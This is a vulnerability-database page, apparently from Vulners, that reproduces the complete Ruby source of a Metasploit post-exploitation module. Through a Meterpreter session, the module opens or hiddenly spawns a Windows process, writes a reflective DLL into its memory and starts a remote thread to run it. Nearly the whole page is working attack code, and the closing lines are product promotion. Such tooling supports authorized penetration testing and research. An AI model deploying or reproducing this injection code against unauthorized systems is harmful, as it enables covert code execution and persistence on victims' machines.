Lucene search
K

Windows Manage Reflective DLL Injection Module

🗓️ 02 Jul 2013 19:48:04Reported by Ben Campbell <[email protected]>, b4rtikType 
metasploit
 metasploit
🔗 www.rapid7.com👁 94 Views

This module injects a specified reflective DLL into the memory of a process, new or existing. Arguments can be passed to the DllMain entry point as the lpvReserved parameter. To read output from the injected process, set PID to zero and WAIT to non-zero. Ensure the architecture of the DLL matches the target process.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Reflective DLL Injection Module',
        'Description' => %q{
          This module will inject a specified reflective DLL into the memory of a
          process, new or existing. If arguments are specified, they are passed to
          the DllMain entry point as the lpvReserved (3rd) parameter. To read
          output from the injected process, set PID to zero and WAIT to non-zero.
          Make sure the architecture of the DLL matches the target process.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Ben Campbell', 'b4rtik'],
        'Platform' => 'win',
        'SessionTypes' => ['meterpreter'],
        'References' => [
          [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_attach
              stdapi_sys_process_execute
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_sys_process_kill
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_write
              stdapi_sys_process_thread_create
            ]
          }
        }
      )
    )
    register_options(
      [
        OptPath.new('PATH', [true, 'Reflective DLL to inject into memory of a process']),
        OptInt.new('PID', [false, 'Pid to inject', 0]),
        OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe']),
        OptString.new('ARGUMENTS', [false, 'Command line arguments']),
        OptInt.new('WAIT', [false, 'Time in seconds to wait before reading output', 0])
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('KILL', [ true, 'Kill the injected process at the end of the task', false ])
      ]
    )
  end

  def run
    dll_path = ::File.expand_path(datastore['PATH'])
    if File.file?(dll_path)
      run_dll(dll_path)
    else
      print_bad("Dll not found #{dll_path}")
    end
  end

  def pid_exists(pid)
    mypid = client.sys.process.getpid.to_i

    if pid == mypid
      print_bad('Can not select the current process as the injection target')
      return false
    end

    host_processes = client.sys.process.get_processes
    if host_processes.empty?
      print_bad('No running processes found on the target host.')
      return false
    end

    theprocess = host_processes.find { |x| x['pid'] == pid }

    !theprocess.nil?
  end

  def launch_process
    process_name = datastore['PROCESS']
    process_name << '.exe' unless process_name.end_with?('.exe')

    print_status("Launching #{process_name} ...")
    channelized = datastore['WAIT'] != 0

    process = client.sys.process.execute(
      process_name,
      nil,
      'Channelized' => channelized,
      'Hidden' => true
    )

    hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
    print_good("Process #{hprocess.pid} created.")
    [process, hprocess]
  end

  def inject_dll(process, dll_path)
    library_path = ::File.expand_path(dll_path)
    exploit_mem, offset = inject_dll_into_process(process, library_path)
    [exploit_mem, offset]
  end

  def open_process
    pid = datastore['PID'].to_i

    if pid_exists(pid)
      print_status("Opening handle to process #{datastore['PID']}...")
      hprocess = client.sys.process.open(datastore['PID'], PROCESS_ALL_ACCESS)
      print_good('Handle opened')
      [nil, hprocess]
    else
      print_bad('Pid not found')
      [nil, nil]
    end
  end

  def run_dll(dll_path)
    print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
    if (datastore['PID'] > 0) || (datastore['WAIT'] == 0)
      print_warning('Output unavailable')
    end

    if datastore['PID'] <= 0
      process, hprocess = launch_process
    else
      process, hprocess = open_process
    end

    if hprocess.nil?
      print_bad('Execution finished')
      return
    end

    exploit_mem, offset = inject_dll(hprocess, dll_path)

    if datastore['ARGUMENTS'].nil?
      arg_mem = nil
    else
      arg_mem = copy_args(hprocess)
    end

    print_status('Executing...')
    hprocess.thread.create(exploit_mem + offset, arg_mem)

    if datastore['WAIT'] != 0
      sleep(datastore['WAIT'])
    end

    if (datastore['PID'] <= 0) && (datastore['WAIT'] != 0)
      read_output(process)
    end

    if datastore['KILL']
      print_good("Killing process #{hprocess.pid}")
      client.sys.process.kill(hprocess.pid)
    end

    print_good('Execution finished.')
  end

  def copy_args(process)
    argssize = datastore['ARGUMENTS'].size + 1
    arg_mem = process.memory.allocate(argssize, PAGE_READWRITE)
    params = datastore['ARGUMENTS']
    params += "\x00"

    process.memory.write(arg_mem, params)
    arg_mem
  end

  def read_output(process)
    print_status('Start reading output')
    old_timeout = client.response_timeout
    client.response_timeout = 5

    begin
      loop do
        output = process.channel.read
        if !output.nil? && !output.empty?
          output.split("\n").each { |x| print_good(x) }
        end
        break if output.nil? || output.empty?
      end
    rescue Rex::TimeoutError => e
      vprint_warning('Time out exception: wait limit exceeded (5 sec)')
    rescue ::Exception => e
      print_error("Exception: #{e.inspect}")
    end

    client.response_timeout = old_timeout
    print_status('End output.')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation